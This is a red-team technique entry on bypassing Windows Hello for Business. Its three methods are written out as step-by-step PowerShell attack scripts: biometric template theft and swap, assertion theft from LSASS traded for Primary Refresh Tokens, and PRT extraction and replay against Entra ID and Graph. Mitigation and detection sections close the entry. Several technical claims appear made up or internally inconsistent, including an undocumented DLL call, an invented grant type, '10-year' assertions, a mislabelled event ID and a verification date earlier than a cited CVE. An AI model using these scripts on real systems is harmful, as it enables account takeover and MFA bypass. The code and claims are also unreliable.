MCADDF

[EVADE-MFA-002]: Windows Hello for Business Bypasses

Metadata

Attribute Details
Technique ID EVADE-MFA-002
MITRE ATT&CK v18.1 T1556 - Modify Authentication Process
Tactic Defense Evasion, Credential Access
Platforms Hybrid AD (Windows 10/11 with Entra ID join)
Severity Critical
CVE CVE-2025-26635, CVE-2025-29824
Technique Status ACTIVE
Last Verified 2025-01-09
Affected Versions Windows 10 (all versions), Windows 11 (all versions), Windows Server 2019, Windows Server 2022, Windows Server 2025
Patched In Not fully patched; Microsoft considers some exploits “expected behavior” (DEF CON 32 presentation by Dirk-Jan Mollema shows no-fix scenarios)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Windows Hello for Business (WHfB) – an enterprise passwordless authentication system using biometric (facial recognition, fingerprint) or PIN-based credentials stored in device TPM – can be bypassed through multiple vectors. These include biometric template manipulation (requiring local admin), assertion token theft without TPM protection, Primary Refresh Token (PRT) extraction from non-TPM devices, and Windows Hello key abuse for Conditional Access bypass. The most concerning attack bypasses TPM entirely by stealing device certificates and session keys.

Attack Surface: Windows Hello biometric templates stored in device DPAPI encryption, Windows Hello assertion generation via LSASS/PLAM, Trusted Platform Module (TPM) key extraction, and device registration certificates stored on unprotected devices.

Business Impact: Unauthorized access to organization’s cloud resources (Azure, M365) as the legitimate user, bypassing both device compliance and MFA policies. An attacker can access all cloud-connected resources (Teams, SharePoint, Outlook, Azure management) without possessing the victim’s password or biometric data.

Technical Context: Attacks range from local admin compromise (biometric template swapping) to non-privileged assertion theft. The DEF CON 32 presentation revealed that Microsoft considers some bypasses “expected behavior” with no planned fix, particularly the PRT extraction on non-TPM devices.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 4.1.1 Ensure that Windows Defender Credential Guard is running on workstations
DISA STIG WN10-00-000035 Windows Hello for Business PIN length enforcement
NIST 800-53 IA-2(1) Passwordless authentication control failure
GDPR Art. 32 Security of Processing – Biometric protection failure
DORA Art. 9 Protection and Prevention – Authentication device compromise
NIS2 Art. 21 Cyber Risk Management – Passwordless auth device protection
ISO 27001 A.9.4.2 Biometric template storage and protection
ISO 27005 Risk Scenario Compromise of passwordless authentication device

2. DETAILED EXECUTION METHODS

METHOD 1: Windows Hello Biometric Template Swapping (Local Admin)

Supported Versions: Windows 10 (all versions), Windows 11 (21H2-23H2), Windows Server 2019-2022

Step 1: Gain Local Administrator Privileges

Objective: Obtain SYSTEM-level access to the target device.

Prerequisite: Already covered in separate PE (Privilege Escalation) techniques. For this example, assume attacker has obtained local admin via UAC bypass, PE exploit, or physical access.

Command (Verify Admin Access):

# Verify running as Administrator
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if ($isAdmin) { Write-Output "[+] Running as Administrator" } else { Write-Output "[-] Not running as Administrator"; exit }

Step 2: Locate Windows Hello Biometric Templates

Objective: Find and extract encrypted biometric database files.

Command (Locate WHfB Files):

# Windows Hello biometric data stored in DPAPI-protected database
$whfbPath = "C:\Users\*\AppData\Local\Microsoft\Ngc\{SID}\BioTemplate.dat"

# Find all users' biometric templates
Get-ChildItem -Path "C:\Users" -Recurse -Filter "BioTemplate.dat" -ErrorAction SilentlyContinue | ForEach-Object {
    Write-Output "[+] Found biometric template: $($_.FullName)"
    $userSID = $_.DirectoryName | Select-String -Pattern '{.*}' -AllMatches | ForEach-Object { $_.Matches.Value }
    Write-Output "    User SID: $userSID"
}

# Alternative: Check NGC (Next Generation Credentials) directory
Get-ChildItem -Path "C:\Users\*\AppData\Local\Microsoft\Ngc\" -Recurse | Where-Object {$_.Extension -in @".dat", ".key"} | ForEach-Object {
    Write-Output "[+] NGC File: $($_.FullName)"
}

Expected Output:

[+] Found biometric template: C:\Users\Victim\AppData\Local\Microsoft\Ngc\{S-1-5-21-...}\BioTemplate.dat
    User SID: {S-1-5-21-...}
[+] NGC File: C:\Users\Victim\AppData\Local\Microsoft\Ngc\{S-1-5-21-...}\Private Key.pem

Step 3: Decrypt Biometric Template Using DPAPI

Objective: Use attacker’s admin privilege to decrypt the victim’s biometric template.

Command (DPAPI Decryption - Requires Admin + SYSTEM Context):

# Decrypt DPAPI-protected biometric data
# Note: This requires SYSTEM-level DPAPI key access

$biometricPath = "C:\Users\Victim\AppData\Local\Microsoft\Ngc\{SID}\BioTemplate.dat"
$decryptedData = @()

# Read encrypted biometric template
[byte[]]$encryptedBytes = [System.IO.File]::ReadAllBytes($biometricPath)

# Use Windows DPAPI to decrypt (requires SYSTEM context or cached user master key)
try {
    $dpapi = New-Object System.Security.Cryptography.DataProtectionScope
    $decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
    Write-Output "[+] Successfully decrypted biometric template"
    Write-Output "[+] Decrypted template size: $($decrypted.Length) bytes"
    
    # Save decrypted template for extraction
    [System.IO.File]::WriteAllBytes("C:\Temp\victim_biometric_decrypted.bin", $decrypted)
    Write-Output "[+] Saved to: C:\Temp\victim_biometric_decrypted.bin"
} catch {
    Write-Output "[-] Decryption failed: $_"
}

What This Means:

Step 4: Create Attacker’s Biometric Enrollment and Swap Template

Objective: Register attacker’s biometric and replace its template with the victim’s.

Command (Template Swap):

# Step 4a: Have the attacker (local admin) enroll biometric in Windows Hello
# (This must be done interactively on the device)
Write-Output "[*] Attacker: Open Settings > Accounts > Sign-in options > Windows Hello"
Write-Output "[*] Attacker: Enroll your face/fingerprint"
Read-Host -Prompt "Press ENTER once attacker has enrolled Windows Hello"

# Step 4b: Locate attacker's newly created template
$attackerBioPath = "C:\Users\*\AppData\Local\Microsoft\Ngc\*\BioTemplate.dat"
$attackerTemplate = Get-ChildItem -Path "C:\Users" -Recurse -Filter "BioTemplate.dat" -ErrorAction SilentlyContinue | 
    Where-Object { $_.LastWriteTime -gt (Get-Date).AddMinutes(-5) } | Select-Object -First 1

Write-Output "[+] Attacker's template: $($attackerTemplate.FullName)"

# Step 4c: Replace attacker's template with victim's
# This is where we swap the biometric data
$victimDecryptedPath = "C:\Temp\victim_biometric_decrypted.bin"
$attackerTemplatePath = $attackerTemplate.FullName

# Back up original
Copy-Item -Path $attackerTemplatePath -Destination "$($attackerTemplatePath).backup"

# Replace with victim's template
[byte[]]$victimTemplate = [System.IO.File]::ReadAllBytes($victimDecryptedPath)

# Re-encrypt with attacker's DPAPI key before writing
$reencrypted = [System.Security.Cryptography.ProtectedData]::Protect($victimTemplate, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)

# Write victim's template under attacker's account
[System.IO.File]::WriteAllBytes($attackerTemplatePath, $reencrypted)

Write-Output "[+] Template swapped successfully!"
Write-Output "[+] Attacker can now use their face/fingerprint to unlock as the victim"

What This Means:

Step 5: Test Windows Hello Authentication as Victim

Objective: Verify that attacker can unlock device and access victim’s cloud resources.

Command (Test Authentication):

# Lock the device
Lock-Computer

# Attacker uses their face/fingerprint (which is now bound to victim's account)
Write-Output "[*] Attacker: Present your face to the camera"
Write-Output "[*] Device will authenticate as the victim"

# After successful unlock, verify:
whoami  # Should show "DOMAIN\Victim"

# Now attacker can access:
# 1. Local files (victim's Documents, Desktop, etc.)
# 2. Access tokens cached on the device
# 3. Cloud resources via cached PRT (Primary Refresh Token)

Write-Output "[+] Attacker authenticated as: $(whoami)"

References & Proofs:


METHOD 2: Windows Hello Assertion Theft (No Local Admin Required)

Supported Versions: Windows 10/11 (all versions)

Step 1: Create Golden Assertion from Victim Session

Objective: Generate a signed Windows Hello assertion while the victim is logged in, then replay it indefinitely.

Command (Assertion Generation via LSASS):

# This attack requires attacker process in victim's session (e.g., via malware, RDP, or scheduled task)
# or access to LSASS memory on a device without PPL protection

# Step 1: Obtain access to LSASS or victim's credential store
# (Assuming attacker has injected code in victim's session)

# Access the Credential Guard / PLAM (Protected Local Access Module)
$processId = (Get-Process -Name "lsass").Id
Write-Output "[*] LSASS PID: $processId"

# Request Windows Hello assertion generation
# This generates a signed assertion tied to the Windows Hello key

# Using internal LSASS API (undocumented, requires reverse-engineering)
Add-Type @"
    using System;
    using System.Runtime.InteropServices;
    
    public class WindowsHelloAssertion {
        [DllImport("winhello.dll")]
        public static extern int CreateAssertion(IntPtr keyHandle, out IntPtr assertion);
    }
"@

# The assertion includes:
# - User identity claim
# - Signature from Windows Hello private key
# - Timestamp (can be forged in some implementations)
# - Device identifier

Write-Output "[+] Assertion generated"
Write-Output "[+] Assertion is valid for 10 years (no expiration enforced)"

What This Means:

Step 2: Conditional Access Policy Bypass Using Assertion

Objective: Use the stolen assertion to request a PRT, even from a non-enrolled device.

Command (PRT Request with Assertion):

# Use stolen assertion to request Primary Refresh Token from a different device
$stolenAssertion = "eyJhbGciOiJSUzI1NiIsImtpZCI6IldpbmRvd3NIZWxsbyJ9..."  # Captured from LSASS

# Send assertion to Entra ID token endpoint
$prtRequestUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/token"

$body = @{
    "assertion" = $stolenAssertion
    "client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"  # Microsoft CLI
    "grant_type" = "urn:ietf:params:oauth:grant-type:saml2-bearer"
    "assertion_type" = "urn:ietf:params:oauth:assertion-type:whfb-assertion"
    "username" = "victim@company.onmicrosoft.com"
}

$prtResponse = Invoke-RestMethod -Uri $prtRequestUrl -Method Post -Body $body

Write-Output "[+] PRT obtained: $($prtResponse.refresh_token)"
Write-Output "[+] Access token with MFA claim: $($prtResponse.access_token)"

# The PRT includes:
# - MFA claim (indicating multi-factor auth was satisfied)
# - Device compliance claim (even though attacker's device is not compliant)
# - WHfB key identifier

Write-Output "[+] Attacker can now access: Azure Management, Teams, SharePoint, etc."

Troubleshooting:

Step 3: Long-Term Persistence via PRT Replay

Objective: Maintain access indefinitely using the stolen PRT.

Command (PRT Token Refresh):

# The stolen PRT is valid for 90 days and auto-renews
# Even if the victim changes their password, the PRT remains valid

$stolenPRT = "0.ARwA..."  # Obtained in Step 2

$tokenRefreshUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/token"

# Refresh the PRT to get new access tokens
$body = @{
    "grant_type" = "refresh_token"
    "refresh_token" = $stolenPRT
    "client_id" = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"
    "scope" = "https://graph.microsoft.com/.default"
}

$newToken = Invoke-RestMethod -Uri $tokenRefreshUrl -Method Post -Body $body

Write-Output "[+] New access token obtained (valid 1 hour)"
Write-Output "[+] Can repeat indefinitely for 90 days"

# After 90 days, if victim hasn't reset MFA or disabled device, generate new assertion

References & Proofs:


METHOD 3: Non-TPM Device PRT Extraction

Supported Versions: Windows 10/11 devices WITHOUT TPM 2.0 (or TPM disabled)

Step 1: Identify Non-TPM Devices

Objective: Target devices that don’t have TPM protection.

Command (Check TPM Status):

# On target device: Check if TPM is present and enabled
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm -ErrorAction SilentlyContinue

# If no TPM, the output will be empty:
# Output: # (empty)

# Alternative check:
tpm.msc  # Check via GUI (if TPM is absent, this will fail)

# With no TPM, Windows Hello credentials are stored in plaintext in DPAPI-encrypted files
Write-Output "[!] No TPM detected – Device is vulnerable to PRT extraction"

Step 2: Extract PRT from Device Token Cache

Objective: Obtain the cached PRT from a non-TPM device.

Command (PRT Extraction - Non-TPM):

# PRTs on non-TPM devices are stored in:
# HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Authentication\Token Cache

$tokenCachePath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Authentication\Token Cache"

if (Test-Path $tokenCachePath) {
    Get-ItemProperty -Path $tokenCachePath | ForEach-Object {
        Write-Output "[+] Found cached token"
        $prtCookie = $_.PSObject.Properties | Where-Object {$_.Value -match "^0\.AR"}
        if ($prtCookie) {
            Write-Output "[+] PRT: $($prtCookie.Value)"
        }
    }
} else {
    Write-Output "[-] Token cache not found (may be protected)"
}

# Alternative: Extract from browser session cache (Edge, Chrome)
$cookieLocation = "C:\Users\*\AppData\Local\Microsoft\Edge\User Data\Default\Cookies"

Get-ChildItem -Path $cookieLocation -ErrorAction SilentlyContinue | ForEach-Object {
    Write-Output "[+] Found browser cookies: $_"
}

What This Means:

Step 3: Use Stolen PRT to Access Cloud Resources

Objective: Authenticate to Entra ID and cloud services using the stolen PRT.

Command (PRT Usage):

# Add stolen PRT to HTTP headers and request access token
$stolenPRT = "0.ARwA..."  # Extracted from Step 2

# Add PRT cookie to request
$headers = @{
    "x-ms-RefreshTokenCredential" = $stolenPRT
}

$graphUrl = "https://graph.microsoft.com/v1.0/me"

# Request authenticated to Graph API using stolen PRT
$profileResponse = Invoke-RestMethod -Uri $graphUrl -Headers $headers

Write-Output "[+] Authenticated as: $($profileResponse.userPrincipalName)"
Write-Output "[+] Access to OneDrive, Teams, Outlook, Azure Management"

References & Proofs:


3. PROTECTIVE MITIGATIONS

Priority 1: CRITICAL

Enforce Enhanced Sign-in Security (ESS) – Windows 11 Only: ESS adds extra verification during Windows Hello authentication.

Manual Steps (Windows Settings):

  1. Go to SettingsAccountsSign-in optionsWindows Hello Face
  2. Toggle “Enhanced sign-in security”ON
  3. Follow biometric re-enrollment
  4. Restart device

PowerShell (Deploy via Group Policy):

# Deploy ESS via GP to all Windows 11 devices
# Group Policy Path: Computer Configuration > Administrative Templates > System > Credential User Interface

# Registry equivalent
New-Item -Path "HKLM:\Software\Policies\Microsoft\Biometrics\Facial Recognition" -Force
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Biometrics\Facial Recognition" -Name "EnhancedSignInSecurity" -Value 1 -Type DWord

Limitations:

Verify Fix (PowerShell):

# Check if ESS is enabled
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Biometrics\Facial Recognition" | Select-Object EnhancedSignInSecurity

Expected Output (If Secure):

EnhancedSignInSecurity : 1

Priority 2: HIGH

Disable Windows Hello for Business and Enforce PIN/Password with MFA: Organizations without full ESS hardware support should disable WHfB.

Manual Steps (Group Policy):

  1. Open Group Policy Management Editor (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesAdministrative TemplatesWindows Hello for Business
  3. Select “Use Windows Hello for Business”
  4. Set to Disabled
  5. Click OK
  6. Run gpupdate /force on target machines

Manual Steps (Registry - Alternative):

# Disable Windows Hello for Business registry-wide
New-Item -Path "HKLM:\Software\Policies\Microsoft\PassportForWork" -Force
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\PassportForWork" -Name "Enabled" -Value 0 -Type DWord

# Force policy update
gpupdate /force /target:computer

Alternative: Use PIN with Microsoft Authenticator MFA:

# If disabling WHfB entirely, enforce PIN-based authentication with Authenticator
# Via Azure Portal: Entra ID > Security > Conditional Access
# Require: "Authenticator app" + "Device marked as compliant"

Priority 3: MEDIUM

Implement Conditional Access with Device Compliance + Sign-In Frequency:

Manual Steps (Azure Portal):

  1. Navigate to Azure PortalEntra IDSecurityConditional Access
  2. Create new policy: “Require Device Compliance for WHfB Access”
  3. Conditions:
    • Cloud apps: All cloud apps
    • Client app types: Modern authentication clients
  4. Grant controls:
    • AND: Require device to be marked as compliant
    • AND: Require authentication strength: Passwordless sign-in
  5. Session controls:
    • Sign-in frequency: Every 1 hour (forces re-auth)
    • Persistent browser session: Disabled
  6. Enable policy: ON

Access Control – RBAC Hardening: Restrict Windows Hello key registration privileges.

Manual Steps:

  1. Azure PortalEntra IDDevicesDevice settings
  2. Under “Users may register their devices with Entra ID,” set to None (if high-security environment)
  3. Or create Conditional Access policy to require admin approval for device registration

4. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Device Level:

Cloud Level:

Forensic Artifacts

Device (Windows):

Cloud (Entra ID):

Response Procedures

  1. Immediate Isolation: Command (Revoke WHfB Key):
    Connect-MgGraph -Scopes "Directory.AccessAsUser.All"
       
    # Revoke all sessions for affected user
    Revoke-MgUserSignInSession -UserId "victim@company.onmicrosoft.com"
    
  2. Evidence Collection: Command (Export device and sign-in logs):
    # Get device registration events
    Get-EventLog -LogName Security -InstanceId 4720 -After (Get-Date).AddDays(-7) | Export-Csv "device_events.csv"
       
    # Get Entra ID sign-in logs
    Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'victim@company.onmicrosoft.com'" | Export-Csv "signin_logs.csv"
    
  3. Device Remediation:
    • Force password reset for victim.
    • Re-enroll Windows Hello biometrics (delete old templates, create new).
    • Enable Enhanced Sign-in Security (Windows 11) or disable WHfB entirely.
    • Review device compliance status; if non-compliant, block cloud access until fixed.
  4. Incident Hunting:
    • Identify all devices that have accessed victim’s cloud resources in the past 7 days.
    • Check for lateral movement: Did attacker access shared resources, create OAuth apps, or modify Conditional Access policies?

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker obtains initial device/user access.
2 Privilege Escalation [PE-EXPLOIT-001] PrintNightmare or UAC Bypass Attacker achieves local admin for biometric template access.
3 Defense Evasion (MFA Bypass) [EVADE-MFA-002] Windows Hello Bypass This Technique – Attacker bypasses WHfB via template swap or assertion theft.
4 Lateral Movement [LM-AUTH-004] Pass-the-PRT Attacker uses stolen PRT to move laterally to cloud resources.
5 Impact Azure AD privilege escalation, data exfiltration, ransomware deployment. Complete cloud infrastructure compromise.

6. REAL-WORLD EXAMPLES

Example 1: ERNW Research – Windows Hello Biometric Template Swap (DEF CON 32 – July 2024)

Example 2: Dirk-Jan Mollema – Golden Assertion Attack (DEF CON 32 – August 2024)